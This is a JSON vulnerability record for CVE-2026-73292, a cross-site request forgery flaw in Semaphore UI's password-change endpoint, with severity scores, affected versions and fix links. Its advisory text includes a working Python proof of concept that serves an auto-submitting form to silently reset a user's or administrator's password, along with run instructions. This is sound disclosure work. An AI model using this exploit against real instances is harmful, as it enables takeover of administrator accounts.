{"id":"CVE-2026-73292","aliases":["CVE-2026-73292","GHSA-8cj9-r88m-8945","GO-2026-6370"],"related":[],"kind":"vulnerability","state":"published","title":"Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation","summary":"Semaphore UI is a web interface for managing DevOps tools. Prior to 2.18.21, the /api/users/{id}/password endpoint accepts a cross-site request using the authenticated user's semaphore session cookie without CSRF protection or current-password confirmation, allowing an unauthenticated attacker to change an administrator's or another user's password after user interaction. This issue is fixed in version 2.18.21.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Semaphore UI is a web interface for managing DevOps tools. Prior to 2.18.21, the /api/users/{id}/password endpoint accepts a cross-site request using the authenticated user's semaphore session cookie without CSRF protection or current-password confirmation, allowing an unauthenticated attacker to change an administrator's or another user's password after user interaction. This issue is fixed in version 2.18.21.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20.\n\n### Details\n\nThe password change endpoint of Semaphore UI does not implement any CSRF protection:\n\n- No CSRF token required\n- No current password confirmation required\n- Authentication relies solely on a session cookie (`semaphore`) with no `SameSite` enforcement\n\nA malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users/<id>/password forms. \n\n\n### PoC\n\nTo reproduce the exploit, you can use the following python script:\n\n```python\nimport logging\nimport argparse\nimport time\nimport sys\nimport os \nfrom http.server import SimpleHTTPRequestHandler, HTTPServer\n\nlogging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s')\n\ndef forge_malicious_page(target, user_id, newpassword):\n    return f\"\"\"\n        <html>\n        <body>\n\n        <form id=\"CSRF_POC\" action=\"{target}/api/users/{user_id}/password\" enctype=\"text/plain\" method=\"POST\">\n\n        <input type=\"hidden\" name='{{\"password\": \"{newpassword}\", \"project_id\": 1}}'  value='//}}' />\n        </form>\n        \n        <script>\n        document.getElementById(\"CSRF_POC\").submit();\n        </script>\n\n        </body>\n        </html>\n    \"\"\";\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-i\",\"--user_id\",type=int, help=\"user id to change password\", required=True)\nparser.add_argument(\"-u\",\"--uri\",  help=\"Base uri to target\", required=True)\nparser.add_argument(\"-n\",\"--new_password\",  help=\"new password to set\", default='passwordchanged')\nparser.add_argument(\"-p\",\"--port\",  help=\"Port to run server\", default=1337)\nargs = parser.parse_args()\n\n\nclass Handler(SimpleHTTPRequestHandler):\n    \n     def do_GET(self):\n        logging.info(\"Client: %s | Methode: %s | Chemin: %s | Query: %s\" %\n                (self.client_address[0], self.command, self.path,\n                self.path.split('?')[1] if '?' in self.path else 'None'))\n        content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode()\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html; charset=utf-8\")\n        self.send_header(\"Content-Length\", str(len(content)))\n        self.end_headers()\n        self.wfile.write(content)\n\n\nhttpd = HTTPServer((\"\", args.port), Handler)\nlogging.info(\"[*] Serving at port \"+str(args.port))\n\nhttpd.serve_forever()\n```\n\nExample : \n```bash\npython poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337\n```\n\n1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337.\n2 - Connect to semaphore UI in another tab with the targeted user. \n3 - In the same browser, visit the malicious website (ex: localhost:1337).\n4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password `passwordchanged`.\n\n\n### Impact\n\nThis is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation in github.com/semaphoreui/semaphore","format":"markdown","source":"go"},{"lang":"es","text":"Semaphore UI es una interfaz web para gestionar herramientas DevOps. Antes de la versión 2.18.21, el endpoint /API/users/{id}/password acepta una solicitud de sitio cruzado utilizyo la cookie de sesión de Semaphore del usuario autenticado sin protección CSRF ni confirmación de la contraseña actual, lo que permite a un atacante no autenticado cambiar la contraseña de un administrador o de otro usuario después de la interacción del usuario. Este problema está solucionado en la versión 2.18.21.","source":"nvd"}],"published":"2026-08-12T15:34:45.757Z","modified":"2026-10-24T15:10:00.190Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","score":8.3,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","score":8.3,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","score":7.6,"rating":"HIGH"}],"cwes":["CWE-352","CWE-620"],"affected":[{"ranges":[{"version":"< 2.18.21","status":"affected"}],"vendor":"semaphoreui","product":"semaphore","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260707190631-c59c3dc9035b"}],"ecosystem":"Go","package":"github.com/semaphoreui/semaphore","purl":"pkg:golang/github.com/semaphoreui/semaphore","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260707190631-c59c3dc9035b"}],"ecosystem":"Go","package":"github.com/semaphoreui/semaphore","purl":"pkg:golang/github.com/semaphoreui/semaphore","source":"go"}],"references":[{"url":"https://github.com/semaphoreui/semaphore/security/advisories/GHSA-8cj9-r88m-8945","tags":["advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/semaphoreui/semaphore/commit/2d6e2e3eb10e8bf688e2ab59609b909a012fad4c","tags":["fix","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/semaphoreui/semaphore/commit/c59c3dc9035badcbf0609c7d35679c06e590a956","tags":["fix","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/semaphoreui/semaphore/releases/tag/v2.18.21","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73292","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/semaphoreui/semaphore","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"total","date":"2026-08-12T22:09:05.787Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-73292","url":"https://www.cve.org/CVERecord?id=CVE-2026-73292","licence":"CVE Terms of Use","modified":"2026-08-12T22:11:58.204Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-8cj9-r88m-8945","url":"https://github.com/advisories/GHSA-8cj9-r88m-8945","licence":"CC-BY-4.0","modified":"2026-09-10T15:25:35.974Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-6370","url":"https://pkg.go.dev/vuln/GO-2026-6370","licence":"CC-BY-4.0","modified":"2026-09-10T15:15:12.328Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-73292","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73292","licence":"Public domain","modified":"2026-10-24T15:10:00.190Z"}],"updatedAt":"2026-11-25T22:59:32.588Z","epss":{"score":0.00233,"percentile":0.15226,"date":"2026-12-01T12:00:22.000Z"}}